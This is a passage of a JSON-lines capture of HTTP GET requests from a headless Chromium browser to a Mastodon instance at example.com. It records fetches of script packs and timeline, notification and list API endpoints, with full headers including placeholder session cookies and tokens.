_mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuNTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ab37d5619a5b365ffcf114d7fcf24bac7902a1c0; _mastodon_session=GcqZiRiKd6lOhH3kv7dp3NEtsId2LwZyinAl1WgQ0mv7Xi%2F4u8mHBowJByanPqe2Kbtzx%2F6d%2ByeronZc62F4meOrDbP3YHiz9GzlNe2qtzBM0IDg4IxxHzUqh6nzBJiL9%2F9Y%2FY8fHzwkUTvlzM6%2FDeHgw8vFdLmFHbRKCUIbm3Chr49lmF24ZlBEZh4P9xDGCP%2B%2Fvz4MIjy6Ac3Jf2MVwJ6f8%2FDrOyEHaDutn4kRRpAZn0Kg6vyhoZzPZ7%2FphQXMDzCM5Y4Dhl9bCyCSXMaQjIHdXKw3KWuXriMcNGS92ahwOUXsO6ek%2B5nmYqs0imHxl1T14Ty%2Fnd8X3tnUBNSmeG%2FaZ5F7qn3Bu4%2BP4tehImlPNnJN6DzAUcpGFqHwvNZQl041qKzQ5QPr--0ABW2%2BRbHzqehg9r--VOa3dvcmH%2F3BScLpYtOSTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/defineProperty-BbfpZ9Tg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NHDhXMNPICM75H9ZB31b4JxRUxjBICoeH%2BKY0s0UBv5WPDr3pI5gDCua4%2B3qJWciKD%2Br1Hu2SNWrz5YR%2B72ea1QswBF6qnwGSg2DzJTssFaZCl3TFqizNszNtpPEES%2FIL9AP18JPY2joU8c4zP1k3KowWQbcXrzI1iRpn%2FSgGV0Z%2F%2FNZb9RnO0SWiXQy3dniX9tUbqEjPlSUqoJJPO9aLnMJXt22TDXGzPJ6eVYgERrtf%2FCiOQ1Zb%2FRSKF8eRBIIiJTwrFOW%2Bg%2Bd2sqW9YnV%2BwtKG6dRgImnig%3D%3D--N5aZsJPeWFwHpIgE--MthrYh5EWJDXUWZ7cLXnaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/time-DvUjGWVP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
